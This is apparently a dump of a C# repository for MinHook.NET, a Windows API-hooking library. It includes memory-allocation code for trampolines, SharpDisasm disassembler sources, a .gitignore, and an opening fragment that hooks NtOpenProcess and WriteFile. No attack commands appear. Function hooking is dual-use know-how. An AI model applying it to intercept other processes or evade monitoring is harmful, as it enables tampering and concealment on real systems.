"NtOpenProcess", NtOpenProcess_detour); 163 | SetFilePointer_orig = hookEngine.CreateHook("kernelbase.dll", "SetFilePointer", SetFilePointer_detour); 164 | GetFileSize_orig = hookEngine.CreateHook("kernelbase.dll", "GetFileSize", GetFileSize_detour); 165 | WriteFile_orig = hookEngine.CreateHook("kernelbase.dll", "WriteFile", WriteFile_detour); 166 | 167 | hookEngine.EnableHooks(); 168 | } 169 | 170 | internal static void ShutdownHookEngine() { 171 | hookEngine.DisableHooks(); 172 | } 173 | } 174 | } 175 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /MinHook.NET/MemoryAllocator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Runtime.InteropServices; 4 | using static MinHook.Utils; 5 | 6 | namespace MinHook { 7 | internal class MemorySlot : IDisposable { 8 | 9 | public IntPtr Address { get; private set; } 10 | public int Index { get; private set; } 11 | 12 | MemoryBlock ownerBlock; 13 | 14 | public MemorySlot(MemoryBlock ownerBlock, IntPtr address, int index) { 15 | this.ownerBlock = ownerBlock; 16 | Address = address; 17 | Index = index; 18 | } 19 | 20 | public void Dispose() { 21 | ownerBlock.FreeSlot(this); 22 | } 23 | } 24 | 25 | internal class MemoryBlock : IDisposable { 26 | 27 | // Page size for Windows 28 | static readonly uint MEMORY_BLOCK_SIZE = 0x1000; 29 | static readonly uint MEMORY_SLOT_SIZE = 64; 30 | 31 | public IntPtr BaseAddress { get; private set; } 32 | ulong freeBitMap; 33 | 34 | public MemoryBlock(IntPtr baseAddress) { 35 | this.BaseAddress = baseAddress; 36 | freeBitMap = ulong.MaxValue; 37 | } 38 | 39 | ~MemoryBlock() { 40 | Dispose(false); 41 | } 42 | 43 | protected void Dispose(bool disposing) { 44 | if(BaseAddress != IntPtr.Zero) { 45 | VirtualFree(BaseAddress, (int)MEMORY_BLOCK_SIZE, FreeType.Release); 46 | BaseAddress = IntPtr.Zero; 47 | } 48 | } 49 | 50 | public bool IsFull() { 51 | return freeBitMap == 0; 52 | } 53 | 54 | public MemorySlot AllocateSlot() { 55 | 56 | if (IsFull()) { 57 | throw new OutOfMemoryException("No free slots available"); 58 | } 59 | 60 | for(int idx = 0; idx < 64; idx++) { 61 | if( ((freeBitMap >> idx) & 1) == 1) { 62 | freeBitMap ^= (1ul << idx); 63 | return new MemorySlot(this, (IntPtr)((long)BaseAddress + (idx * MEMORY_SLOT_SIZE)), idx); 64 | } 65 | } 66 | 67 | throw new InvalidOperationException("Unexpected memory block state"); 68 | } 69 | 70 | public void FreeSlot(MemorySlot memorySlot) { 71 | 72 | if((ulong)memorySlot.Address < (ulong)BaseAddress || (ulong)memorySlot.Address >= (ulong)BaseAddress + MEMORY_BLOCK_SIZE) { 73 | throw new ArgumentException("memorySlot does not belong to this block"); 74 | } 75 | 76 | freeBitMap |= (1ul << memorySlot.Index); 77 | } 78 | 79 | public void Dispose() { 80 | Dispose(true); 81 | GC.SuppressFinalize(this); 82 | } 83 | } 84 | 85 | internal class MemoryAllocator { 86 | 87 | // Page size for Windows 88 | static uint MEMORY_BLOCK_SIZE = 0x1000; 89 | 90 | // Max range for seeking a memory block. (= 1024MB) 91 | static uint MAX_MEMORY_RANGE = 0x40000000; 92 | 93 | static List memoryBlocks = new List(); 94 | 95 | public MemoryAllocator() { 96 | 97 | } 98 | 99 | public MemorySlot AllocateBuffer(IntPtr origin) { 100 | MemoryBlock block = GetMemoryBlock(origin); 101 | return block.AllocateSlot(); 102 | } 103 | 104 | MemoryBlock GetMemoryBlock(IntPtr origin) { 105 | 106 | IntPtr minAddr = IntPtr.Zero; 107 | IntPtr maxAddr = IntPtr.Zero; 108 | MemoryBlock result = null; 109 | SYSTEM_INFO si = new SYSTEM_INFO(); 110 | GetSystemInfo(ref si); 111 | 112 | if (IntPtr.Size == 8) { 113 | 114 | minAddr = si.lpMinimumApplicationAddress; 115 | maxAddr = si.lpMaximumApplicationAddress; 116 | 117 | if ((ulong)origin > MAX_MEMORY_RANGE && (ulong)minAddr < (ulong)origin - MAX_MEMORY_RANGE) 118 | minAddr = (IntPtr)((ulong)origin - MAX_MEMORY_RANGE); 119 | 120 | if ((ulong)maxAddr > (ulong)origin + MAX_MEMORY_RANGE) 121 | maxAddr = (IntPtr)((ulong)origin + MAX_MEMORY_RANGE); 122 | 123 | maxAddr = (IntPtr)((ulong)maxAddr - MEMORY_BLOCK_SIZE - 1); 124 | } 125 | 126 | foreach(var memoryBlock in memoryBlocks) { 127 | 128 | if(IntPtr.Size == 8 && ((ulong)memoryBlock.BaseAddress < (ulong)minAddr || (ulong)memoryBlock.BaseAddress >= (ulong)maxAddr)) { 129 | continue; 130 | } 131 | 132 | if (!memoryBlock.IsFull()) { 133 | return memoryBlock; 134 | } 135 | } 136 | 137 | //Couldn't find a free block, lets allocate another 138 | 139 | if(IntPtr.Size == 8) { 140 | 141 | IntPtr alloc = origin; 142 | while((ulong)alloc >= (ulong)minAddr) { 143 | 144 | alloc = FindPrevFreeRegion(alloc, minAddr, si.dwAllocationGranularity); 145 | 146 | if(alloc == IntPtr.Zero) { 147 | break; 148 | } 149 | 150 | IntPtr baseAddr = VirtualAlloc(alloc, (IntPtr)MEMORY_BLOCK_SIZE, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite); 151 | 152 | if (baseAddr != IntPtr.Zero) { 153 | result = new MemoryBlock(baseAddr); 154 | break; 155 | } 156 | } 157 | 158 | if(result == null) { 159 | 160 | alloc = origin; 161 | while((ulong)alloc <= (ulong)maxAddr) { 162 | alloc = FindNextFreeRegion(alloc, maxAddr, si.dwAllocationGranularity); 163 | 164 | if (alloc == IntPtr.Zero) 165 | break; 166 | 167 | IntPtr baseAddr = VirtualAlloc(alloc, (IntPtr)MEMORY_BLOCK_SIZE, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite); 168 | 169 | if (baseAddr != IntPtr.Zero) { 170 | result = new MemoryBlock(baseAddr); 171 | break; 172 | } 173 | } 174 | } 175 | } else { 176 | 177 | IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (IntPtr)MEMORY_BLOCK_SIZE, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite); 178 | if(baseAddr == IntPtr.Zero) { 179 | throw new OutOfMemoryException("Failed to allocate new block of memory"); 180 | } 181 | 182 | result = new MemoryBlock(baseAddr); 183 | } 184 | 185 | if(result == null) { 186 | throw new OutOfMemoryException("Failed to allocate new block of memory"); 187 | } 188 | 189 | memoryBlocks.Add(result); 190 | return result; 191 | } 192 | 193 | IntPtr FindPrevFreeRegion(IntPtr address, IntPtr minAddress, uint allocationGranularity) { 194 | 195 | IntPtr tryAddr = (IntPtr) ((ulong)address - ( ((ulong)address % allocationGranularity) - allocationGranularity)); 196 | 197 | while((ulong)tryAddr >= (ulong)minAddress) { 198 | 199 | MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION(); 200 | 201 | if (VirtualQuery(tryAddr, ref mbi, Marshal.SizeOf(mbi)) == 0) 202 | break; 203 | 204 | if(mbi.State == MemoryState.Free) 205 | return tryAddr; 206 | 207 | if ((ulong)mbi.AllocationBase < allocationGranularity) 208 | break; 209 | 210 | tryAddr = (IntPtr)((ulong)mbi.AllocationBase - allocationGranularity); 211 | } 212 | 213 | return IntPtr.Zero; 214 | } 215 | 216 | IntPtr FindNextFreeRegion(IntPtr address, IntPtr maxAddress, uint allocationGranularity) { 217 | 218 | IntPtr tryAddr = (IntPtr)((ulong)address - (((ulong)address % allocationGranularity) + allocationGranularity)); 219 | 220 | while ((ulong)tryAddr <= (ulong)maxAddress) { 221 | 222 | MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION(); 223 | 224 | if (VirtualQuery(tryAddr, ref mbi, Marshal.SizeOf(mbi)) == 0) 225 | break; 226 | 227 | if (mbi.State == MemoryState.Free) 228 | return tryAddr; 229 | 230 | if ((ulong)mbi.AllocationBase < allocationGranularity) 231 | break; 232 | 233 | tryAddr = (IntPtr)((ulong)mbi.BaseAddress + (ulong)mbi.RegionSize); 234 | 235 | tryAddr = (IntPtr)((long)tryAddr + (allocationGranularity - 1)); 236 | tryAddr = (IntPtr)((ulong)tryAddr - ((ulong)tryAddr % allocationGranularity)); 237 | } 238 | 239 | return IntPtr.Zero; 240 | } 241 | } 242 | } 243 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/syn.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\syn.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Diagnostics; 40 | using System.Linq; 41 | using System.Text; 42 | 43 | 44 | namespace SharpDisasm.Udis86 45 | { 46 | #pragma warning disable 1591 47 | public class syn 48 | { 49 | public static readonly string[] ud_reg_tab = new string[] { 50 | "al", "cl", "dl", "bl", 51 | "ah", "ch", "dh", "bh", 52 | "spl", "bpl", "sil", "dil", 53 | "r8b", "r9b", "r10b", "r11b", 54 | "r12b", "r13b", "r14b", "r15b", 55 | 56 | "ax", "cx", "dx", "bx", 57 | "sp", "bp", "si", "di", 58 | "r8w", "r9w", "r10w", "r11w", 59 | "r12w", "r13w" , "r14w", "r15w", 60 | 61 | "eax", "ecx", "edx", "ebx", 62 | "esp", "ebp", "esi", "edi", 63 | "r8d", "r9d", "r10d", "r11d", 64 | "r12d", "r13d", "r14d", "r15d", 65 | 66 | "rax", "rcx", "rdx", "rbx", 67 | "rsp", "rbp", "rsi", "rdi", 68 | "r8", "r9", "r10", "r11", 69 | "r12", "r13", "r14", "r15", 70 | 71 | "es", "cs", "ss", "ds", 72 | "fs", "gs", 73 | 74 | "cr0", "cr1", "cr2", "cr3", 75 | "cr4", "cr5", "cr6", "cr7", 76 | "cr8", "cr9", "cr10", "cr11", 77 | "cr12", "cr13", "cr14", "cr15", 78 | 79 | "dr0", "dr1", "dr2", "dr3", 80 | "dr4", "dr5", "dr6", "dr7", 81 | "dr8", "dr9", "dr10", "dr11", 82 | "dr12", "dr13", "dr14", "dr15", 83 | 84 | "mm0", "mm1", "mm2", "mm3", 85 | "mm4", "mm5", "mm6", "mm7", 86 | 87 | "st0", "st1", "st2", "st3", 88 | "st4", "st5", "st6", "st7", 89 | 90 | "xmm0", "xmm1", "xmm2", "xmm3", 91 | "xmm4", "xmm5", "xmm6", "xmm7", 92 | "xmm8", "xmm9", "xmm10", "xmm11", 93 | "xmm12", "xmm13", "xmm14", "xmm15", 94 | 95 | "ymm0", "ymm1", "ymm2", "ymm3", 96 | "ymm4", "ymm5", "ymm6", "ymm7", 97 | "ymm8", "ymm9", "ymm10", "ymm11", 98 | "ymm12", "ymm13", "ymm14", "ymm15", 99 | 100 | "rip" 101 | }; 102 | 103 | public ulong ud_syn_rel_target(ref ud u, ref ud_operand opr) 104 | { 105 | ulong trunc_mask = 0xffffffffffffffff >> (64 - u.opr_mode); 106 | switch (opr.size) 107 | { 108 | case 8: return (u.pc + (ulong)opr.lval.@sbyte) & trunc_mask; 109 | case 16: return (u.pc + (ulong)opr.lval.sword) & trunc_mask; 110 | case 32: return (u.pc + (ulong)opr.lval.sdword) & trunc_mask; 111 | default: Debug.Assert(false, "invalid relative offset size."); 112 | return 0; 113 | } 114 | } 115 | 116 | /* 117 | * asmprintf 118 | * Printf style function for printing translated assembly 119 | * output. Returns the number of characters written and 120 | * moves the buffer pointer forward. On an overflow, 121 | * returns a negative number and truncates the output. 122 | */ 123 | public static int ud_asmprintf(ref ud u, string fmt, params object[] args) 124 | { 125 | int ret; 126 | int avail; 127 | 128 | avail = u.asm_buf_size - u.asm_buf_fill - 1 /* nullchar */; 129 | var str = String.Format(fmt, args).ToArray(); 130 | Array.Copy(str, 0, u.asm_buf, u.asm_buf_fill, Math.Min(str.Length, avail)); 131 | ret = str.Length; 132 | //ret = vsnprintf((char*)u.asm_buf + u.asm_buf_fill, avail, fmt, ap); 133 | if (ret < 0 || ret > avail) 134 | { 135 | u.asm_buf_fill = u.asm_buf_size - 1; 136 | ret = -1; 137 | } 138 | else 139 | { 140 | u.asm_buf_fill += ret; 141 | } 142 | return ret; 143 | } 144 | 145 | 146 | public void ud_syn_print_addr(ref ud u, long addr) 147 | { 148 | string name = null; 149 | if (u.sym_resolver != null) 150 | { 151 | long offset = 0; 152 | name = u.sym_resolver(ref u, addr, ref offset); 153 | if (!String.IsNullOrEmpty(name)) 154 | { 155 | if (offset > 0) 156 | { 157 | ud_asmprintf(ref u, "{0}{1:+#;-#}", name, offset); 158 | } 159 | else 160 | { 161 | ud_asmprintf(ref u, "{0}", name); 162 | } 163 | return; 164 | } 165 | } 166 | ud_asmprintf(ref u, "0x{0:x}", addr); 167 | } 168 | 169 | 170 | public void ud_syn_print_imm(ref ud u, ref ud_operand op) 171 | { 172 | ulong v; 173 | if (op._oprcode == ud_operand_code.OP_sI && op.size != u.opr_mode) 174 | { 175 | if (op.size == 8) 176 | { 177 | v = (ulong)op.lval.@sbyte; 178 | } 179 | else 180 | { 181 | Debug.Assert(op.size == 32); 182 | v = (ulong)op.lval.sdword; 183 | } 184 | if (u.opr_mode < 64) 185 | { 186 | v = v & ((1ul << u.opr_mode) - 1ul); 187 | } 188 | } 189 | else 190 | { 191 | switch (op.size) 192 | { 193 | case 8: v = op.lval.ubyte; break; 194 | case 16: v = op.lval.uword; break; 195 | case 32: v = op.lval.udword; break; 196 | case 64: v = op.lval.uqword; break; 197 | default: Debug.Assert(false, "invalid offset"); v = 0; /* keep cc happy */ 198 | break; 199 | } 200 | } 201 | ud_asmprintf(ref u, "0x{0:x}", v); 202 | } 203 | 204 | 205 | public void ud_syn_print_mem_disp(ref ud u, ref ud_operand op, int sign) 206 | { 207 | Debug.Assert(op.offset != 0); 208 | if (op.@base == ud_type.UD_NONE && op.index == ud_type.UD_NONE) 209 | { 210 | ulong v; 211 | Debug.Assert(op.scale == 0 && op.offset != 8); 212 | /* unsigned mem-offset */ 213 | switch (op.offset) 214 | { 215 | case 16: v = op.lval.uword; break; 216 | case 32: v = op.lval.udword; break; 217 | case 64: v = op.lval.uqword; break; 218 | default: Debug.Assert(false, "invalid offset"); v = 0; /* keep cc happy */ 219 | break; 220 | } 221 | ud_asmprintf(ref u, "0x{0:x}", v); 222 | } 223 | else 224 | { 225 | long v; 226 | Debug.Assert(op.offset != 64); 227 | switch (op.offset) 228 | { 229 | case 8: v = op.lval.@sbyte; break; 230 | case 16: v = op.lval.sword; break; 231 | case 32: v = op.lval.sdword; break; 232 | default: Debug.Assert(false, "invalid offset"); v = 0; /* keep cc happy */ 233 | break; 234 | } 235 | if (v < 0) 236 | { 237 | ud_asmprintf(ref u, "-0x{0:x}", -v); 238 | } 239 | else if (v > 0) 240 | { 241 | ud_asmprintf(ref u, "{0}0x{1:x}", sign > 0 ? "+" : "", v); 242 | } 243 | } 244 | } 245 | } 246 | #pragma warning restore 1591 247 | } 248 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Instruction.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\instruction.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Runtime.InteropServices; 41 | using System.Text; 42 | 43 | using SharpDisasm.Helpers; 44 | 45 | namespace SharpDisasm 46 | { 47 | /// 48 | /// Represents a decoded instruction. 49 | /// 50 | public class Instruction 51 | { 52 | /// 53 | /// Instruction Offset 54 | /// 55 | public ulong Offset { get; private set; } 56 | 57 | /// 58 | /// Program counter 59 | /// 60 | public ulong PC { get; private set; } 61 | 62 | /// 63 | /// Will contain a copy of the original binary instruction if is true. 64 | /// 65 | public byte[] Bytes { get; private set; } 66 | 67 | /// 68 | /// Mnemonic 69 | /// 70 | public SharpDisasm.Udis86.ud_mnemonic_code Mnemonic { get; private set; } 71 | 72 | /// 73 | /// The instruction operands (maximum 3) 74 | /// 75 | public Operand[] Operands { get; private set; } 76 | 77 | /// 78 | /// The length of the instruction in bytes 79 | /// 80 | public int Length { get; private set; } 81 | 82 | /// 83 | /// Is the ModRM field present 84 | /// 85 | public bool HasModRM { get { return have_modrm != 0; } } 86 | 87 | /// 88 | /// The instructions ModRM field 89 | /// 90 | public byte ModRM { get { return modrm; } } 91 | 92 | /// 93 | /// Indicates whether the instruction was successfully decoded. 94 | /// 95 | public bool Error { get; private set; } 96 | 97 | /// 98 | /// The reason an instruction was not successfully decoded. 99 | /// 100 | public string ErrorMessage { get; private set; } 101 | 102 | #region Low-level instruction information 103 | 104 | /// 105 | /// Low-level decode information 106 | /// 107 | internal byte pfx_rex; 108 | /// 109 | /// Low-level decode information 110 | /// 111 | internal byte pfx_seg; 112 | /// 113 | /// Low-level decode information 114 | /// 115 | internal byte pfx_opr; 116 | /// 117 | /// Low-level decode information 118 